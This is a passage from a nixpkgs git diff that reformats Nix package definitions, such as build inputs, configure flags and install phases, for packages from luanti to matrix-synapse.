+  ++ (with gst_all_1; [
+    gst-libav
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-ugly
+    gstreamer
+  ]);
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/lu/luanti/package.nix b/pkgs/by-name/lu/luanti/package.nix
index ba6f24bbf5bf..aa930452bc90 100644
--- a/pkgs/by-name/lu/luanti/package.nix
+++ b/pkgs/by-name/lu/luanti/package.nix
@@ -93,43 +93,42 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
   ];
 
-  buildInputs =
-    [
-      jsoncpp
-      gettext
-      freetype
-      sqlite
-      curl
-      bzip2
-      ncurses
-      gmp
-      libspatialindex
-    ]
-    ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform luajit) luajit
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.optionals buildClient [
-      libpng
-      libjpeg
-      libGLU
-      openal
-      libogg
-      libvorbis
-    ]
-    ++ lib.optionals (buildClient && useSDL2) [
-      SDL2
-    ]
-    ++ lib.optionals (buildClient && !stdenv.hostPlatform.isDarwin && !useSDL2) [
-      xorg.libX11
-      xorg.libXi
-    ]
-    ++ lib.optionals buildServer [
-      leveldb
-      libpq
-      hiredis
-      prometheus-cpp
-    ];
+  buildInputs = [
+    jsoncpp
+    gettext
+    freetype
+    sqlite
+    curl
+    bzip2
+    ncurses
+    gmp
+    libspatialindex
+  ]
+  ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform luajit) luajit
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optionals buildClient [
+    libpng
+    libjpeg
+    libGLU
+    openal
+    libogg
+    libvorbis
+  ]
+  ++ lib.optionals (buildClient && useSDL2) [
+    SDL2
+  ]
+  ++ lib.optionals (buildClient && !stdenv.hostPlatform.isDarwin && !useSDL2) [
+    xorg.libX11
+    xorg.libXi
+  ]
+  ++ lib.optionals buildServer [
+    leveldb
+    libpq
+    hiredis
+    prometheus-cpp
+  ];
 
   postInstall =
     lib.optionalString stdenv.hostPlatform.isLinux ''
diff --git a/pkgs/by-name/lu/ludusavi/package.nix b/pkgs/by-name/lu/ludusavi/package.nix
index fa5a42cbe05f..5c6ccfa61eb0 100644
--- a/pkgs/by-name/lu/ludusavi/package.nix
+++ b/pkgs/by-name/lu/ludusavi/package.nix
@@ -68,24 +68,23 @@ rustPlatform.buildRustPackage rec {
     gtk3
   ];
 
-  postInstall =
-    ''
-      install -Dm644 assets/linux/com.mtkennerly.ludusavi.metainfo.xml -t \
-        "$out/share/metainfo/"
-      install -Dm644 assets/icon.png \
-        "$out/share/icons/hicolor/64x64/apps/com.mtkennerly.ludusavi.png"
-      install -Dm644 assets/icon.svg \
-        "$out/share/icons/hicolor/scalable/apps/com.mtkennerly.ludusavi.svg"
-      install -Dm644 "assets/linux/com.mtkennerly.ludusavi.desktop" -t "$out/share/applications/"
-      install -Dm644 assets/MaterialIcons-Regular.ttf -t "$out/share/fonts/TTF/"
-      install -Dm644 LICENSE -t "$out/share/licenses/ludusavi/"
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd ludusavi \
-        --bash <($out/bin/ludusavi complete bash) \
-        --fish <($out/bin/ludusavi complete fish) \
-        --zsh <($out/bin/ludusavi complete zsh)
-    '';
+  postInstall = ''
+    install -Dm644 assets/linux/com.mtkennerly.ludusavi.metainfo.xml -t \
+      "$out/share/metainfo/"
+    install -Dm644 assets/icon.png \
+      "$out/share/icons/hicolor/64x64/apps/com.mtkennerly.ludusavi.png"
+    install -Dm644 assets/icon.svg \
+      "$out/share/icons/hicolor/scalable/apps/com.mtkennerly.ludusavi.svg"
+    install -Dm644 "assets/linux/com.mtkennerly.ludusavi.desktop" -t "$out/share/applications/"
+    install -Dm644 assets/MaterialIcons-Regular.ttf -t "$out/share/fonts/TTF/"
+    install -Dm644 LICENSE -t "$out/share/licenses/ludusavi/"
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd ludusavi \
+      --bash <($out/bin/ludusavi complete bash) \
+      --fish <($out/bin/ludusavi complete fish) \
+      --zsh <($out/bin/ludusavi complete zsh)
+  '';
 
   postFixup =
     let
diff --git a/pkgs/by-name/lu/lunarvim/package.nix b/pkgs/by-name/lu/lunarvim/package.nix
index 7f99c9b5bbea..e3d078252846 100644
--- a/pkgs/by-name/lu/lunarvim/package.nix
+++ b/pkgs/by-name/lu/lunarvim/package.nix
@@ -104,35 +104,34 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postBuild
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out
-      cp -r bin share $out
+    mkdir -p $out
+    cp -r bin share $out
 
-      for iconDir in utils/desktop/*/; do
-        install -Dm444 $iconDir/lvim.svg -t $out/share/icons/hicolor/$(basename $iconDir)/apps
-      done
+    for iconDir in utils/desktop/*/; do
+      install -Dm444 $iconDir/lvim.svg -t $out/share/icons/hicolor/$(basename $iconDir)/apps
+    done
 
-      install -Dm444 utils/desktop/lvim.desktop -t $out/share/applications
+    install -Dm444 utils/desktop/lvim.desktop -t $out/share/applications
 
-      wrapProgram $out/bin/lvim --prefix PATH : ${lib.makeBinPath finalAttrs.runtimeDeps} \
-        --prefix LD_LIBRARY_PATH : ${lib.getLib stdenv.cc.cc} \
-        --prefix CC : ${stdenv.cc.targetPrefix}cc
-    ''
-    + lib.optionalString finalAttrs.nvimAlias ''
-      ln -s $out/bin/lvim $out/bin/nvim
-    ''
-    + lib.optionalString finalAttrs.viAlias ''
-      ln -s $out/bin/lvim $out/bin/vi
-    ''
-    + lib.optionalString finalAttrs.vimAlias ''
-      ln -s $out/bin/lvim $out/bin/vim
-    ''
-    + ''
-      runHook postInstall
-    '';
+    wrapProgram $out/bin/lvim --prefix PATH : ${lib.makeBinPath finalAttrs.runtimeDeps} \
+      --prefix LD_LIBRARY_PATH : ${lib.getLib stdenv.cc.cc} \
+      --prefix CC : ${stdenv.cc.targetPrefix}cc
+  ''
+  + lib.optionalString finalAttrs.nvimAlias ''
+    ln -s $out/bin/lvim $out/bin/nvim
+  ''
+  + lib.optionalString finalAttrs.viAlias ''
+    ln -s $out/bin/lvim $out/bin/vi
+  ''
+  + lib.optionalString finalAttrs.vimAlias ''
+    ln -s $out/bin/lvim $out/bin/vim
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   meta = with lib; {
     description = "IDE layer for Neovim";
diff --git a/pkgs/by-name/lv/lv2/package.nix b/pkgs/by-name/lv/lv2/package.nix
index 4ad9205e8957..cb6060cc6e28 100644
--- a/pkgs/by-name/lv/lv2/package.nix
+++ b/pkgs/by-name/lv/lv2/package.nix
@@ -30,24 +30,23 @@ stdenv.mkDerivation rec {
     ninja
   ];
 
-  mesonFlags =
-    [
-      # install validators to $dev
-      "--bindir=${placeholder "dev"}/bin"
+  mesonFlags = [
+    # install validators to $dev
+    "--bindir=${placeholder "dev"}/bin"
 
-      # These are just example plugins. They pull in outdated gtk-2
-      # dependency and many other things. Upstream would like to
-      # eventually move them of the project:
-      #   https://gitlab.com/lv2/lv2/-/issues/57#note_1096060029
-      "-Dplugins=disabled"
-      # Pulls in spell checkers among other things.
-      "-Dtests=disabled"
-      # Avoid heavyweight python dependencies.
-      "-Ddocs=disabled"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-Dlv2dir=${placeholder "out"}/lib/lv2"
-    ];
+    # These are just example plugins. They pull in outdated gtk-2
+    # dependency and many other things. Upstream would like to
+    # eventually move them of the project:
+    #   https://gitlab.com/lv2/lv2/-/issues/57#note_1096060029
+    "-Dplugins=disabled"
+    # Pulls in spell checkers among other things.
+    "-Dtests=disabled"
+    # Avoid heavyweight python dependencies.
+    "-Ddocs=disabled"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-Dlv2dir=${placeholder "out"}/lib/lv2"
+  ];
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/ly/lynx/package.nix b/pkgs/by-name/ly/lynx/package.nix
index c18c38b63923..c5e48d45e42f 100644
--- a/pkgs/by-name/ly/lynx/package.nix
+++ b/pkgs/by-name/ly/lynx/package.nix
@@ -31,7 +31,8 @@ stdenv.mkDerivation rec {
     "--enable-default-colors"
     "--enable-widec"
     "--enable-ipv6"
-  ] ++ lib.optional sslSupport "--with-ssl";
+  ]
+  ++ lib.optional sslSupport "--with-ssl";
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
   nativeBuildInputs = [ nukeReferences ] ++ lib.optional sslSupport pkg-config;
@@ -39,7 +40,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     ncurses
     gzip
-  ] ++ lib.optional sslSupport openssl;
+  ]
+  ++ lib.optional sslSupport openssl;
 
   # cfg_defs.h captures lots of references to build-only dependencies, derived
   # from config.cache.
diff --git a/pkgs/by-name/ma/maa-assistant-arknights/fastdeploy-ppocr.nix b/pkgs/by-name/ma/maa-assistant-arknights/fastdeploy-ppocr.nix
index 22a6e30a4151..e5c84bdf6d7b 100644
--- a/pkgs/by-name/ma/maa-assistant-arknights/fastdeploy-ppocr.nix
+++ b/pkgs/by-name/ma/maa-assistant-arknights/fastdeploy-ppocr.nix
@@ -34,35 +34,34 @@ effectiveStdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     cmake
     eigen
-  ] ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
+  ]
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
 
-  buildInputs =
+  buildInputs = [
+    onnxruntime
+    opencv
+  ]
+  ++ lib.optionals cudaSupport (
+    with cudaPackages;
     [
-      onnxruntime
-      opencv
+      cuda_cccl # cub/cub.cuh
+      libcublas # cublas_v2.h
+      libcurand # curand.h
+      libcusparse # cusparse.h
+      libcufft # cufft.h
+      cudnn # cudnn.h
+      cuda_cudart
     ]
-    ++ lib.optionals cudaSupport (
-      with cudaPackages;
-      [
-        cuda_cccl # cub/cub.cuh
-        libcublas # cublas_v2.h
-        libcurand # curand.h
-        libcusparse # cusparse.h
-        libcufft # cufft.h
-        cudnn # cudnn.h
-        cuda_cudart
-      ]
-    );
+  );
 
   cmakeBuildType = "None";
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" true)
-    ]
-    ++ lib.optionals cudaSupport [
-      (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" true)
+  ]
+  ++ lib.optionals cudaSupport [
+    (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
+  ];
 
   postInstall = ''
     mkdir $cmake
diff --git a/pkgs/by-name/ma/maa-assistant-arknights/package.nix b/pkgs/by-name/ma/maa-assistant-arknights/package.nix
index 947626dd46a9..de03cba1c916 100644
--- a/pkgs/by-name/ma/maa-assistant-arknights/package.nix
+++ b/pkgs/by-name/ma/maa-assistant-arknights/package.nix
@@ -33,27 +33,27 @@ stdenv.mkDerivation (finalAttr: {
     asio
     cmake
     fastdeploy.cmake
-  ] ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
+  ]
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
 
-  buildInputs =
+  buildInputs = [
+    fastdeploy
+    libcpr
+    onnxruntime
+    opencv
+  ]
+  ++ lib.optionals cudaSupport (
+    with cudaPackages;
     [
-      fastdeploy
-      libcpr
-      onnxruntime
-      opencv
+      cuda_cccl # cub/cub.cuh
+      libcublas # cublas_v2.h
+      libcurand # curand.h
+      libcusparse # cusparse.h
+      libcufft # cufft.h
+      cudnn # cudnn.h
+      cuda_cudart
     ]
-    ++ lib.optionals cudaSupport (
-      with cudaPackages;
-      [
-        cuda_cccl # cub/cub.cuh
-        libcublas # cublas_v2.h
-        libcurand # curand.h
-        libcusparse # cusparse.h
-        libcufft # cufft.h
-        cudnn # cudnn.h
-        cuda_cudart
-      ]
-    );
+  );
 
   cmakeBuildType = "None";
 
diff --git a/pkgs/by-name/ma/maa-cli/package.nix b/pkgs/by-name/ma/maa-cli/package.nix
index 101f406c9bb0..cc70f4c25c47 100644
--- a/pkgs/by-name/ma/maa-cli/package.nix
+++ b/pkgs/by-name/ma/maa-cli/package.nix
@@ -40,32 +40,31 @@ rustPlatform.buildRustPackage rec {
 
   # maa-cli would only search libMaaCore.so and resources in itself's path
   # https://github.com/MaaAssistantArknights/maa-cli/issues/67
-  postInstall =
-    ''
-      mkdir -p $out/share/maa-assistant-arknights/
-      ln -s ${maa-assistant-arknights}/share/maa-assistant-arknights/* $out/share/maa-assistant-arknights/
-      ln -s ${maa-assistant-arknights}/lib/* $out/share/maa-assistant-arknights/
-      mv $out/bin/maa $out/share/maa-assistant-arknights/
+  postInstall = ''
+    mkdir -p $out/share/maa-assistant-arknights/
+    ln -s ${maa-assistant-arknights}/share/maa-assistant-arknights/* $out/share/maa-assistant-arknights/
+    ln -s ${maa-assistant-arknights}/lib/* $out/share/maa-assistant-arknights/
+    mv $out/bin/maa $out/share/maa-assistant-arknights/
 
-      makeWrapper $out/share/maa-assistant-arknights/maa $out/bin/maa \
-        --prefix PATH : "${
-          lib.makeBinPath [
-            android-tools
-            git
-          ]
-        }"
+    makeWrapper $out/share/maa-assistant-arknights/maa $out/bin/maa \
+      --prefix PATH : "${
+        lib.makeBinPath [
+          android-tools
+          git
+        ]
+      }"
 
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd maa \
-        --bash <($out/bin/maa complete bash) \
-        --fish <($out/bin/maa complete fish) \
-        --zsh <($out/bin/maa complete zsh)
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd maa \
+      --bash <($out/bin/maa complete bash) \
+      --fish <($out/bin/maa complete fish) \
+      --zsh <($out/bin/maa complete zsh)
 
-      mkdir -p manpage
-      $out/bin/maa mangen --path manpage
-      installManPage manpage/*
-    '';
+    mkdir -p manpage
+    $out/bin/maa mangen --path manpage
+    installManPage manpage/*
+  '';
 
   meta = with lib; {
     description = "Simple CLI for MAA by Rust";
diff --git a/pkgs/by-name/ma/macskk/package.nix b/pkgs/by-name/ma/macskk/package.nix
index 3915199e5769..a48119182d0b 100644
--- a/pkgs/by-name/ma/macskk/package.nix
+++ b/pkgs/by-name/ma/macskk/package.nix
@@ -22,7 +22,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     _7zz
     cpio
     xar
-  ] ++ lib.optionals stdenvNoCC.hostPlatform.isAarch64 [ darwin.autoSignDarwinBinariesHook ];
+  ]
+  ++ lib.optionals stdenvNoCC.hostPlatform.isAarch64 [ darwin.autoSignDarwinBinariesHook ];
 
   unpackPhase = ''
     runHook preUnpack
diff --git a/pkgs/by-name/ma/maigret/package.nix b/pkgs/by-name/ma/maigret/package.nix
index cdea13a209a5..1e3f324c7cbb 100644
--- a/pkgs/by-name/ma/maigret/package.nix
+++ b/pkgs/by-name/ma/maigret/package.nix
@@ -85,21 +85,20 @@ python3.pkgs.buildPythonApplication rec {
     "-W ignore::DeprecationWarning"
   ];
 
-  disabledTests =
-    [
-      # Tests require network access
-      "test_extract_ids_from_page"
-      "test_import_aiohttp_cookies"
-      "test_maigret_results"
-      "test_pdf_report"
-      "test_self_check_db_negative_enabled"
-      "test_self_check_db_positive_enable"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # AsyncioProgressbarExecutor is slower on darwin than it should be,
-      # Upstream issue: https://github.com/soxoj/maigret/issues/679
-      "test_asyncio_progressbar_executor"
-    ];
+  disabledTests = [
+    # Tests require network access
+    "test_extract_ids_from_page"
+    "test_import_aiohttp_cookies"
+    "test_maigret_results"
+    "test_pdf_report"
+    "test_self_check_db_negative_enabled"
+    "test_self_check_db_positive_enable"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # AsyncioProgressbarExecutor is slower on darwin than it should be,
+    # Upstream issue: https://github.com/soxoj/maigret/issues/679
+    "test_asyncio_progressbar_executor"
+  ];
 
   pythonImportsCheck = [ "maigret" ];
 
diff --git a/pkgs/by-name/ma/man-db/package.nix b/pkgs/by-name/ma/man-db/package.nix
index 7481da85d1e9..a8f579083a0f 100644
--- a/pkgs/by-name/ma/man-db/package.nix
+++ b/pkgs/by-name/ma/man-db/package.nix
@@ -66,27 +66,26 @@ stdenv.mkDerivation rec {
     echo "MANDB_MAP	/nix/var/nix/profiles/default/share/man	/var/cache/man/nixpkgs" >> src/man_db.conf.in
   '';
 
-  configureFlags =
-    [
-      "--disable-setuid"
-      "--disable-cache-owner"
-      "--localstatedir=/var"
-      "--with-config-file=${placeholder "out"}/etc/man_db.conf"
-      "--with-systemdtmpfilesdir=${placeholder "out"}/lib/tmpfiles.d"
-      "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
-      "--with-pager=less"
-    ]
-    ++ lib.optionals util-linuxMinimal.hasCol [
-      "--with-col=${util-linuxMinimal}/bin/col"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "ac_cv_func__set_invalid_parameter_handler=no"
-      "ac_cv_func_posix_fadvise=no"
-      "ac_cv_func_mempcpy=no"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-      "--enable-mandirs="
-    ];
+  configureFlags = [
+    "--disable-setuid"
+    "--disable-cache-owner"
+    "--localstatedir=/var"
+    "--with-config-file=${placeholder "out"}/etc/man_db.conf"
+    "--with-systemdtmpfilesdir=${placeholder "out"}/lib/tmpfiles.d"
+    "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
+    "--with-pager=less"
+  ]
+  ++ lib.optionals util-linuxMinimal.hasCol [
+    "--with-col=${util-linuxMinimal}/bin/col"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "ac_cv_func__set_invalid_parameter_handler=no"
+    "ac_cv_func_posix_fadvise=no"
+    "ac_cv_func_mempcpy=no"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+    "--enable-mandirs="
+  ];
 
   preConfigure = ''
     configureFlagsArray+=("--with-sections=1 n l 8 3 0 2 5 4 9 6 7")
diff --git a/pkgs/by-name/ma/manifest-tool/package.nix b/pkgs/by-name/ma/manifest-tool/package.nix
index 9d3de5a520f9..4fafbd72dbb2 100644
--- a/pkgs/by-name/ma/manifest-tool/package.nix
+++ b/pkgs/by-name/ma/manifest-tool/package.nix
@@ -29,17 +29,16 @@ buildGoModule rec {
 
   nativeBuildInputs = [ git ];
 
-  ldflags =
-    [
-      "-s"
-      "-w"
-      "-X main.version=${version}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      "-linkmode=external"
-      "-extldflags"
-      "-static"
-    ];
+  ldflags = [
+    "-s"
+    "-w"
+    "-X main.version=${version}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    "-linkmode=external"
+    "-extldflags"
+    "-static"
+  ];
 
   preConfigure = ''
     export ldflags+=" -X main.gitCommit=$(cat .git-revision)"
diff --git a/pkgs/by-name/ma/mapcache/package.nix b/pkgs/by-name/ma/mapcache/package.nix
index 23fd47c9e291..8f11bf0a3ae1 100644
--- a/pkgs/by-name/ma/mapcache/package.nix
+++ b/pkgs/by-name/ma/mapcache/package.nix
@@ -35,15 +35,14 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-AwdZdOEq9SZ5VzuBllg4U1gdVxZ9IVdqiDrn3QuRdCk=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # work around for `ld: file not found: @rpath/libquadmath.0.dylib`
-      gfortran.cc
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # work around for `ld: file not found: @rpath/libquadmath.0.dylib`
+    gfortran.cc
+  ];
 
   buildInputs = [
     apacheHttpd
diff --git a/pkgs/by-name/ma/mapserver/package.nix b/pkgs/by-name/ma/mapserver/package.nix
index a3bbd8239692..3fb0f8b839e2 100644
--- a/pkgs/by-name/ma/mapserver/package.nix
+++ b/pkgs/by-name/ma/mapserver/package.nix
@@ -39,15 +39,14 @@ stdenv.mkDerivation rec {
     hash = "sha256-XEjRklbvYV7UoVX12iW6s1mS8pzIljla488CQNuFfto=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals withPython [
-      swig
-      python3.pkgs.setuptools
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals withPython [
+    swig
+    python3.pkgs.setuptools
+  ];
 
   buildInputs = [
     cairo
@@ -67,7 +66,8 @@ stdenv.mkDerivation rec {
     proj
     protobufc
     zlib
-  ] ++ lib.optional withPython python3;
+  ]
+  ++ lib.optional withPython python3;
 
   cmakeFlags = [
     (lib.cmakeBool "WITH_KML" true)
diff --git a/pkgs/by-name/ma/marktext/package.nix b/pkgs/by-name/ma/marktext/package.nix
index fd433457c330..fc418ea69c26 100644
--- a/pkgs/by-name/ma/marktext/package.nix
+++ b/pkgs/by-name/ma/marktext/package.nix
@@ -41,21 +41,20 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-mr79FV/LHkoY3vX9B5yv95IQIJQ9akwfslKndKYmwCo=";
   };
 
-  nativeBuildInputs =
-    [
-      yarn
-      fixup-yarn-lock
-      makeShellWrapper
-      yarnBuildHook
-      (python3.withPackages (ps: with ps; [ packaging ]))
-      pkg-config
-      nodejs
-      nodePackages.node-gyp-build
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild
-      libtool
-    ];
+  nativeBuildInputs = [
+    yarn
+    fixup-yarn-lock
+    makeShellWrapper
+    yarnBuildHook
+    (python3.withPackages (ps: with ps; [ packaging ]))
+    pkg-config
+    nodejs
+    nodePackages.node-gyp-build
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild
+    libtool
+  ];
 
   buildInputs = [
     libsecret
diff --git a/pkgs/by-name/ma/mars-mips/package.nix b/pkgs/by-name/ma/mars-mips/package.nix
index 3de083a98317..1dcb0744c0c1 100644
--- a/pkgs/by-name/ma/mars-mips/package.nix
+++ b/pkgs/by-name/ma/mars-mips/package.nix
@@ -24,16 +24,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   dontUnpack = true;
 
-  nativeBuildInputs =
-    [
-      makeBinaryWrapper
-      copyDesktopItems
-      unzip
-      imagemagick
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    makeBinaryWrapper
+    copyDesktopItems
+    unzip
+    imagemagick
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/ma/master_me/package.nix b/pkgs/by-name/ma/master_me/package.nix
index 3f62b0f62d03..3b0e31c1c815 100644
--- a/pkgs/by-name/ma/master_me/package.nix
+++ b/pkgs/by-name/ma/master_me/package.nix
@@ -22,16 +22,15 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      libGL
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libXext
-      libXrandr
-    ];
+  buildInputs = [
+    libGL
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libXext
+    libXrandr
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ma/materialize/package.nix b/pkgs/by-name/ma/materialize/package.nix
index d46ddefb2d80..f840c9e6c703 100644
--- a/pkgs/by-name/ma/materialize/package.nix
+++ b/pkgs/by-name/ma/materialize/package.nix
@@ -123,15 +123,14 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-+OREisZ/vw3Oi5MNCYn7u06pZKtf+2trlGyn//uAGws=";
 
-  nativeBuildInputs =
-    [
-      cmake
-      perl
-      pkg-config
-      rustPlatform.bindgenHook
-    ]
-    # Provides the mig command used by the krb5-src build script
-    ++ lib.optional stdenv.hostPlatform.isDarwin darwin.bootstrap_cmds;
+  nativeBuildInputs = [
+    cmake
+    perl
+    pkg-config
+    rustPlatform.bindgenHook
+  ]
+  # Provides the mig command used by the krb5-src build script
+  ++ lib.optional stdenv.hostPlatform.isDarwin darwin.bootstrap_cmds;
 
   # Needed to get openssl-sys to use pkg-config.
   OPENSSL_NO_VENDOR = 1;
diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index e36c3ae3e1d6..b726fc0e29c5 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -45,7 +45,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
     npmHooks.npmConfigHook
     nodejs
     (python3.withPackages (ps: [ ps.setuptools ])) # Used by gyp
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin cctools; # libtool used by gyp;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin cctools; # libtool used by gyp;
 
   buildInputs = [
     sqlite
diff --git a/pkgs/by-name/ma/matrix-continuwuity/package.nix b/pkgs/by-name/ma/matrix-continuwuity/package.nix
index 67427c3ad2aa..4b6fe10195d1 100644
--- a/pkgs/by-name/ma/matrix-continuwuity/package.nix
+++ b/pkgs/by-name/ma/matrix-continuwuity/package.nix
@@ -49,13 +49,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
     rustPlatform.bindgenHook
   ];
 
-  buildInputs =
-    [
-      bzip2
-      zstd
-    ]
-    ++ lib.optional enableJemalloc rust-jemalloc-sys'
-    ++ lib.optional enableLiburing liburing;
+  buildInputs = [
+    bzip2
+    zstd
+  ]
+  ++ lib.optional enableJemalloc rust-jemalloc-sys'
+  ++ lib.optional enableLiburing liburing;
 
   env = {
     ZSTD_SYS_USE_PKG_CONFIG = true;
@@ -68,38 +67,36 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # for available features.
   # We enable all default features except jemalloc, blurhashing, and io_uring, which
   # we guard behind our own (default-enabled) flags.
-  buildFeatures =
-    [
-      "brotli_compression"
-      "direct_tls"
-      "element_hacks"
-      "gzip_compression"
-      "media_thumbnail"
-      "release_max_log_level"
-      "systemd"
-      "url_preview"
-      "zstd_compression"
-    ]
-    ++ lib.optional enableBlurhashing "blurhashing"
-    ++ lib.optional enableJemalloc [
-      "jemalloc"
-      "jemalloc_conf"
-    ]
-    ++ lib.optional enableLiburing "io_uring";
+  buildFeatures = [
+    "brotli_compression"
+    "direct_tls"
+    "element_hacks"
+    "gzip_compression"
+    "media_thumbnail"
+    "release_max_log_level"
+    "systemd"
+    "url_preview"
+    "zstd_compression"
+  ]
+  ++ lib.optional enableBlurhashing "blurhashing"
+  ++ lib.optional enableJemalloc [
+    "jemalloc"
+    "jemalloc_conf"
+  ]
+  ++ lib.optional enableLiburing "io_uring";
 
   passthru = {
     rocksdb = rocksdb'; # make used rocksdb version available (e.g., for backup scripts)
     updateScript = nix-update-script { };
-    tests =
-      {
-        version = testers.testVersion {
-          inherit (finalAttrs) version;
-          package = matrix-continuwuity;
-        };
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-        inherit (nixosTests) matrix-continuwuity;
+    tests = {
+      version = testers.testVersion {
+        inherit (finalAttrs) version;
+        package = matrix-continuwuity;
       };
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+      inherit (nixosTests) matrix-continuwuity;
+    };
   };
 
   meta = {
diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index 0f24a488173d..67c06eb783d0 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -59,13 +59,12 @@ python3.pkgs.buildPythonApplication rec {
     rustc
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   propagatedBuildInputs =
     with python3.pkgs;
@@ -140,15 +139,14 @@ python3.pkgs.buildPythonApplication rec {
     ];
   };
 
-  nativeCheckInputs =
-    [
-      openssl
-    ]
-    ++ (with python3.pkgs; [
-      mock
-      parameterized
-    ])
-    ++ builtins.filter (p: !p.meta.broken) (lib.flatten (lib.attrValues optional-dependencies));
+  nativeCheckInputs = [
+    openssl
+  ]
+  ++ (with python3.pkgs; [
+    mock
+    parameterized
+  ])
+  ++ builtins.filter (p: !p.meta.broken) (lib.flatten (lib.attrValues optional-dependencies));
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/rendezvous.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/rendezvous.nix
index ab4bb4aa8e78..7fe8b327f16a 100644
